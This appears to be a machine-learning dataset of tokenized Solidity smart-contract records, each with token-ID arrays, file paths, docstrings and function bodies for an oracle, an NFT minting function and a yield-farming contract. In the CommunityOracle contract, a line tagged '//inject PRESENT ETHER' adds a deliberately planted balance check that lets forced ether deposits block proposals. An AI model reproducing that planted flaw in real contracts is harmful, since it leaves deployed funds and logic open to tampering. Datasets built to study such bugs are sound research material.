[ 1, 16351, 534, 10090, 353, 21800, 16665, 16, 14223, 6914, 16, 1374, 11106, 429, 16, 4232, 39, 3462, 9123, 305, 288, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 1887, 694, 31, 203, 203, 565, 4232, 39, 3462, 16507, 16665, 1071, 11732, 1592, 54, 10090, 31, 203, 203, 565, 2254, 1105, 1071, 5381, 13880, 7700, 67, 5998, 273, 404, 73, 2643, 31, 203, 203, 565, 2254, 5034, 3238, 11732, 5499, 3088, 1283, 31, 203, 203, 565, 1021, 6835, 353, 22458, 19357, 1368, 7855, 3079, 18, 463, 4017, 326, 7855, 3079, 6855, 30, 203, 565, 300, 31116, 848, 5068, 10341, 76, 7008, 203, 565, 300, 1158, 4232, 39, 3462, 5295, 848, 5865, 203, 565, 300, 326, 6835, 353, 3712, 17781, 203, 203, 565, 1021, 6835, 848, 6007, 628, 7855, 3079, 358, 17062, 1360, 1338, 1839, 1592, 54, 10090, 353, 17781, 18, 203, 565, 463, 4017, 716, 6007, 16, 326, 3410, 353, 444, 358, 326, 3634, 1758, 18, 203, 203, 565, 657, 326, 17062, 1360, 6855, 30, 203, 565, 300, 10341, 76, 7008, 2780, 506, 3550, 203, 565, 300, 4232, 39, 3462, 5295, 5865, 487, 25669, 203, 565, 300, 326, 6790, 1355, 848, 11722, 471, 640, 19476, 326, 6835, 203, 203, 565, 12419, 316, 17062, 1360, 16, 326, 6835, 2780, 3635, 1473, 358, 7855, 3079, 18, 203, 683, 9454, 18035, 560, 374, 18, 28, 18, 24, 31, 203, 203, 203, 565, 2792, 19459, 288, 203, 3639, 7855, 3079, 16, 203, 3639, 17062, 1360, 203, 565, 289, 203, 565, 19459, 1071, 6855, 31, 203, 203, 2 ]
./full_match/4/0xbC2FAB471aa23f452CF5AaaA0639cD11F6C38f85/sources/contracts/CryptoBleatingSheeps_v2.1.sol
public check etherscan
function mint(uint256 _mintAmount) public payable {
761,479
[ 1, 482, 866, 13750, 414, 4169, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 312, 474, 12, 11890, 5034, 389, 81, 474, 6275, 13, 1071, 8843, 429, 288, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-04-21 */ pragma solidity 0.6.2; // Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/GSNRecipient.sol // But kept minimalist. contract MsgSender { address public relayHub; /** * @dev Replacement for msg.sender. Returns the actual sender of a transaction: msg.sender for regular transactions, * and the end-user for GSN relayed calls (where msg.sender is actually `RelayHub`). * * IMPORTANT: Contracts derived from {MsgSender} should never use `msg.sender`, and use {_msgSender} instead. */ function _msgSender() internal view virtual returns (address payable) { if (msg.sender != relayHub) { return msg.sender; } else { return _getRelayedCallSender(); } } function _getRelayedCallSender() private pure returns (address payable result) { // We need to read 20 bytes (an address) located at array index msg.data.length - 20. In memory, the array // is prefixed with a 32-byte length value, so we first add 32 to get the memory read index. However, doing // so would leave the address in the upper 20 bytes of the 32-byte word, which is inconvenient and would // require bit shifting. We therefore subtract 12 from the read index so the address lands on the lower 20 // bytes. This can always be done due to the 32-byte prefix. // The final memory read index is msg.data.length - 20 + 32 - 12 = msg.data.length. Using inline assembly is the // easiest/most-efficient way to perform this operation. // These fields are not accessible from assembly bytes memory array = msg.data; uint256 index = msg.data.length; // solhint-disable-next-line no-inline-assembly assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. result := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff) } return result; } } // Fetch beacon contract CommunityOracle is MsgSender { // Used to count submissions mapping (address => bool) public appointedOracle; mapping (address => bool) public oracleSubmitted; mapping (string => uint) public proposals; string[] public proposalList; uint public submitted; uint public minimumOracles; address public admin; // For installing the oracles. event Beacon(string bls, uint beacon); /** * Sets up the community oracle service for CyberDice. * @param _minimumOracles Minimum number of votes required for a beacon proposal. * @param _relayHub RelayHub for replay protection **/ constructor(uint _minimumOracles, address _relayHub) public { admin = msg.sender; minimumOracles = _minimumOracles; relayHub = _relayHub; } /** * Only the community admin (paddy) can install oracles * @param _oracle Oracle address */ function installOracle(address _oracle) public { require(admin == _msgSender(), "Only admin can install oracle"); appointedOracle[_oracle] = true; } /** * Collect beacon proposal from an appointed oracle */ function submitBeacon(string memory _proposal) public { require(appointedOracle[_msgSender()], "Only appointed oracle"); require(!oracleSubmitted[_msgSender()], "Appointed oracle has already submitted"); oracleSubmitted[_msgSender()] = true; submitted = submitted + 1; // Easy to iterate list. if(address(this).balance == 0) { //inject PRESENT ETHER proposalList.push(_proposal); } proposals[_proposal] = proposals[_proposal] + 1; } // Count submissions by the oracles // Returns 0 if beacon is not yet ready. function getBeacon() public returns (uint) { require(submitted >= minimumOracles, "A minimum number of oracles must respond before fetching beacon"); string memory winningProposal = proposalList[0]; // Compare votes for each unique solution sent for(uint i=1; i<proposalList.length; i++) { string memory proposal = proposalList[i]; // More votes? if(proposals[proposal] > proposals[winningProposal]) { winningProposal = proposal; } } uint beacon = uint(keccak256(abi.encode(winningProposal))); emit Beacon(winningProposal, beacon); return beacon; } }
* Sets up the community oracle service for CyberDice. @param _minimumOracles Minimum number of votes required for a beacon proposal. @param _relayHub RelayHub for replay protection/
constructor(uint _minimumOracles, address _relayHub) public { admin = msg.sender; minimumOracles = _minimumOracles; relayHub = _relayHub; }
13,084,439
[ 1, 2785, 731, 326, 19833, 20865, 1156, 364, 22337, 744, 40, 1812, 18, 225, 389, 15903, 51, 354, 9558, 23456, 1300, 434, 19588, 1931, 364, 279, 29203, 14708, 18, 225, 389, 2878, 528, 8182, 4275, 528, 8182, 364, 16033, 17862, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 3885, 12, 11890, 389, 15903, 51, 354, 9558, 16, 1758, 389, 2878, 528, 8182, 13, 1071, 288, 203, 565, 3981, 273, 1234, 18, 15330, 31, 203, 565, 5224, 51, 354, 9558, 273, 389, 15903, 51, 354, 9558, 31, 203, 565, 18874, 8182, 273, 389, 2878, 528, 8182, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x53F9d97EaA8dA97d85266fcd6d3b9013DcF57cD6/sources/contracts-v2/contracts/v2/ArtToken.sol
* Creates a NFT @param _metaDataURI for the new token @param _metaData metadata JSONified string @param _marketplace address @param _encodedCallData of the create call in dst marketplace/ Create the new asset and allow marketplace to manage it Use this to override the msg.sender here. execute create order in destination marketplace
function createPub( string calldata _metaDataURI, string calldata _metaData, address _marketplace, bytes calldata _encodedCallData ) external { this.approve( _marketplace, _create(address(this), _metaDataURI, _metaData) ); (bool success, ) = _marketplace.call(_encodedCallData); require( success, "Marketplace: failed to execute publish order" ); }
12,290,711
[ 1, 2729, 279, 423, 4464, 225, 389, 3901, 751, 3098, 364, 326, 394, 1147, 225, 389, 3901, 751, 1982, 1796, 939, 533, 225, 389, 3355, 24577, 1758, 225, 389, 10787, 1477, 751, 434, 326, 752, 745, 316, 3046, 29917, 19, 1788, 326, 394, 3310, 471, 1699, 29917, 358, 10680, 518, 2672, 333, 358, 3849, 326, 1234, 18, 15330, 2674, 18, 1836, 752, 1353, 316, 2929, 29917, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 752, 9581, 12, 203, 3639, 533, 745, 892, 389, 3901, 751, 3098, 16, 203, 3639, 533, 745, 892, 389, 3901, 751, 16, 203, 3639, 1758, 389, 3355, 24577, 16, 203, 3639, 1731, 745, 892, 389, 10787, 1477, 751, 203, 565, 262, 203, 3639, 3903, 203, 565, 288, 203, 3639, 333, 18, 12908, 537, 12, 203, 5411, 389, 3355, 24577, 16, 203, 5411, 389, 2640, 12, 2867, 12, 2211, 3631, 389, 3901, 751, 3098, 16, 389, 3901, 751, 13, 203, 3639, 11272, 203, 203, 3639, 261, 6430, 2216, 16, 262, 273, 389, 3355, 24577, 18, 1991, 24899, 10787, 1477, 751, 1769, 203, 3639, 2583, 12, 203, 5411, 2216, 16, 203, 5411, 315, 3882, 24577, 30, 2535, 358, 1836, 3808, 1353, 6, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./CarveToken.sol"; import "./ChiGasSaver.sol"; interface IMigrator { // Perform LP token migration from legacy UniswapV2 to CarveSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // CarveSwap must mint EXACTLY the same amount of CarveSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // MasterCarver is the master of Carve. // // The ownership will be transferred to a governance smart contract once CARVE // is sufficiently distributed and the community can show to govern itself. // contract MasterCarver is Ownable, ReentrancyGuard, ChiGasSaver { using Address for address; using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of CARVE // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accCarvePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accCarvePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. CARVE to distribute per block. uint256 lastRewardBlock; // Last block number that CARVE distribution occurs. uint256 accCarvePerShare; // Accumulated CARVE per share, times 1e12. See below. } // The CARVE TOKEN CarveToken public carve; // Dev address. address public treasuryAddress; // Reward updater address public rewardUpdater; // Staking reward pool address. address public rewardPoolAddress; // Reward pool fee uint256 public rewardPoolFee; // CARVE tokens created per block. uint256 public carvePerBlock; // Percentage referrers get when farmer claims uint256 public referralCommissionPercent = 10; // 1% // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigrator public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Keep track of which pools exist already mapping (address => bool) public poolMap; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Map of farmer to referrer mapping (address => address) public referralMap; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; // The block number when CARVE mining starts. uint256 public startBlock; // Control whether contracts can make deposits bool public acceptContractDepositor = false; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event Claimed(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); modifier onlyTreasury() { require(treasuryAddress == _msgSender(), "not treasury"); _; } modifier onlyRewardUpdater() { require(rewardUpdater == _msgSender(), "not reward updater"); _; } modifier checkContract() { if (!acceptContractDepositor) { // solhint-disable-next-line avoid-tx-origin require(!address(msg.sender).isContract() && msg.sender == tx.origin, "contracts-not-allowed"); } _; } constructor( CarveToken carve_, address rewardPoolAddress_, address treasuryAddress_, uint256 carvePerBlock_, uint256 startBlock_ ) { carve = carve_; rewardPoolAddress = rewardPoolAddress_; treasuryAddress = treasuryAddress_; rewardUpdater = _msgSender(); carvePerBlock = carvePerBlock_; startBlock = startBlock_; rewardPoolFee = 15; // 1.5% } /// Return the number of pools function poolLength() external view returns (uint256) { return poolInfo.length; } /** * @notice Sets whether deposits can be made from contracts * @param acceptContractDepositor_ true or false */ function setAcceptContractDepositor(bool acceptContractDepositor_) external onlyOwner { acceptContractDepositor = acceptContractDepositor_; } /** * @notice Sets the reward updater address * @param rewardUpdaterAddress_ address where rewards are sent */ function setRewardUpdater(address rewardUpdaterAddress_) external onlyRewardUpdater { rewardUpdater = rewardUpdaterAddress_; } /** * @notice Sets the staking reward pool * @param rewardPoolAddress_ address where rewards are sent */ function setRewardPool(address rewardPoolAddress_) external onlyRewardUpdater { rewardPoolAddress = rewardPoolAddress_; } /** * @notice Sets the claim fee percentage. Maximum of 5%. * @param rewardPoolFee_ percentage using decimal base of 1000 ie: 10% = 100 */ function setRewardPoolFee(uint256 rewardPoolFee_) external onlyRewardUpdater { require(rewardPoolFee_ <= 50, "invalid fee value"); rewardPoolFee = rewardPoolFee_; } /** * @notice Sets the rewards per block * @param rewardPerBlock amount of rewards minted per block */ function setRewardPerBlock(uint256 rewardPerBlock) external onlyRewardUpdater { massUpdatePools(); carvePerBlock = rewardPerBlock; } /** * @notice Sets referral commission * @param referralCommissionPercent_ percentage using decimal base of 1000 ie: 1% = 10 */ function setReferralCommission(uint256 referralCommissionPercent_) external onlyRewardUpdater { referralCommissionPercent = referralCommissionPercent_; } /** * @notice Update treasury address by the previous treasury. * @param treasuryAddress_ new treasury address */ function updateTreasuryAddress(address treasuryAddress_) external onlyTreasury { treasuryAddress = treasuryAddress_; } /** * @notice Set the migrator contract * @param migrator_ address of migration contract */ function setMigrator(IMigrator migrator_) external onlyOwner { migrator = migrator_; } /** * @notice Add a new LP to the farm * @param allocPoint reward allocation * @param lpToken ERC20 LP token */ function add(uint256 allocPoint, IERC20 lpToken, uint8 flag) external onlyOwner saveGas(flag) { address tokenAddress = address(lpToken); require(!poolMap[tokenAddress], "pool-already-exists"); require(_isERC20(tokenAddress), "lp-token-not-erc20"); massUpdatePools(); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(allocPoint); poolInfo.push(PoolInfo({ lpToken: lpToken, allocPoint: allocPoint, lastRewardBlock: lastRewardBlock, accCarvePerShare: 0 })); poolMap[address(lpToken)] = true; } /** * @notice Update the given pool's CARVE allocation point * @param pid pool index * @param allocPoint reward allocation */ function set(uint256 pid, uint256 allocPoint, uint8 flag) external onlyOwner saveGas(flag) { massUpdatePools(); totalAllocPoint = totalAllocPoint.sub(poolInfo[pid].allocPoint).add(allocPoint); poolInfo[pid].allocPoint = allocPoint; } /** * @notice Migrate LP token to another LP contract. Can be called by anyone. We trust that migrator contract is good. * @param pid pool index */ function migrate(uint256 pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } /** * @notice View function to see pending CARVE on frontend. * @param pid pool index * @param user_ user to lookup */ function pendingCarve(uint256 pid, address user_) external view returns (uint256) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][user_]; uint256 accCarvePerShare = pool.accCarvePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = _getMultiplier(pool.lastRewardBlock, block.number); uint256 carveReward = multiplier.mul(carvePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accCarvePerShare = accCarvePerShare.add(carveReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCarvePerShare).div(1e12).sub(user.rewardDebt); } /// Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } /** * @notice Update reward variables of the given pool to be up-to-date. * @param pid pool index */ function updatePool(uint256 pid) public { PoolInfo storage pool = poolInfo[pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = _getMultiplier(pool.lastRewardBlock, block.number); uint256 carveReward = multiplier.mul(carvePerBlock).mul(pool.allocPoint).div(totalAllocPoint); _safeCarveMint(address(this), carveReward); _safeCarveMint(treasuryAddress, carveReward.div(10)); pool.accCarvePerShare = pool.accCarvePerShare.add(carveReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } /** * @notice Deposit LP tokens. Pending rewards are claimed. * @param pid pool index * @param amount amount of LP tokens to deposit */ function deposit(uint256 pid, uint256 amount, address referrer, uint8 flag) external checkContract nonReentrant saveGas(flag) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; updatePool(pid); if (referrer != address(0)) { require(referrer != msg.sender, "cannot refer yourself"); referralMap[msg.sender] = referrer; } if (user.amount > 0) { _claim(pid); } if (amount > 0) { pool.lpToken.safeTransferFrom(msg.sender, address(this), amount); user.amount = user.amount.add(amount); } user.rewardDebt = user.amount.mul(pool.accCarvePerShare).div(1e12); emit Deposit(msg.sender, pid, amount); } /** * @notice Withdraw LP tokens. Pending rewards are claimed. * @param pid pool index * @param amount amount of LP tokens to withdraw */ function withdraw(uint256 pid, uint256 amount, uint8 flag) external nonReentrant saveGas(flag) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; require(user.amount >= amount, "withdraw: not good"); updatePool(pid); _claim(pid); if (amount > 0) { user.amount = user.amount.sub(amount); pool.lpToken.safeTransfer(msg.sender, amount); } user.rewardDebt = user.amount.mul(pool.accCarvePerShare).div(1e12); emit Withdraw(msg.sender, pid, amount); } /** * @notice Claim rewards from pool * @param pid pool index */ function claim(uint256 pid, uint8 flag) external nonReentrant saveGas(flag) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; updatePool(pid); _claim(pid); user.rewardDebt = user.amount.mul(pool.accCarvePerShare).div(1e12); } /** * @notice Withdraw without caring about rewards. EMERGENCY ONLY. * @param pid pool index */ function emergencyWithdraw(uint256 pid) external nonReentrant { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(msg.sender, amount); emit EmergencyWithdraw(msg.sender, pid, amount); } /** * @notice This function allows owner to take unsupported tokens out of the contract, since this pool exists longer than the other pools. * This is in an effort to make someone whole, should they seriously mess up. * It also allows for removal of airdropped tokens. */ function recoverUnsupported(IERC20 token, uint256 amount, address to) external onlyOwner { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { PoolInfo storage pool = poolInfo[pid]; // can't take staked asset require(token != pool.lpToken, "!pool.lpToken"); } token.safeTransfer(to, amount); } /// Claim rewards from pool function _claim(uint256 pid) internal { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; uint256 pending = user.amount.mul(pool.accCarvePerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { uint256 fee = pending.mul(rewardPoolFee).div(1000); address referrer = referralMap[msg.sender]; if (referrer != address(0)) { uint256 commission = pending.mul(referralCommissionPercent).div(1000); _safeCarveTransfer(referrer, commission); pending = pending.sub(commission); } pending = pending.sub(fee); _safeCarveTransfer(msg.sender, pending); _safeCarveTransfer(rewardPoolAddress, fee); emit Claimed(msg.sender, pid, pending); } } /** * @notice Safe CARVE mint to ensure we cannot mint over cap */ function _safeCarveMint(address to, uint256 amount) internal { if (to != address(0)) { uint256 totalSupply = carve.totalSupply(); uint256 cap = carve.CAP(); if (totalSupply.add(amount) > cap) { carve.mint(to, cap.sub(totalSupply)); } else { carve.mint(to, amount); } } } /** * @notice Safe carve transfer function, just in case if rounding error causes pool to not have enough CARVE. */ function _safeCarveTransfer(address to, uint256 amount) internal { uint256 carveBal = carve.balanceOf(address(this)); if (amount > carveBal) { carve.transfer(to, carveBal); } else { carve.transfer(to, amount); } } /** * @notice Return reward multiplier over the given `from` to `to` block. * @param from start of block range * @param to end of block range */ function _getMultiplier(uint256 from, uint256 to) internal view returns (uint256) { return to.sub(from); } /** * @notice Simple check to see if address looks like ERC20 * @param target address to check */ function _isERC20(address target) internal view returns (bool) { bytes memory selector = abi.encodeWithSelector(bytes4(keccak256("balanceOf(address)")), msg.sender); (bool success,) = target.staticcall(selector); if (!success) { return false; } selector = abi.encodeWithSelector(bytes4(keccak256("totalSupply()"))); (success,) = target.staticcall(selector); return success; } }
* @notice Sets the claim fee percentage. Maximum of 5%. @param rewardPoolFee_ percentage using decimal base of 1000 ie: 10% = 100/
function setRewardPoolFee(uint256 rewardPoolFee_) external onlyRewardUpdater { require(rewardPoolFee_ <= 50, "invalid fee value"); rewardPoolFee = rewardPoolFee_; }
6,411,311
[ 1, 2785, 326, 7516, 14036, 11622, 18, 18848, 434, 1381, 9, 18, 225, 19890, 2864, 14667, 67, 11622, 1450, 6970, 1026, 434, 4336, 9228, 30, 1728, 9, 273, 2130, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
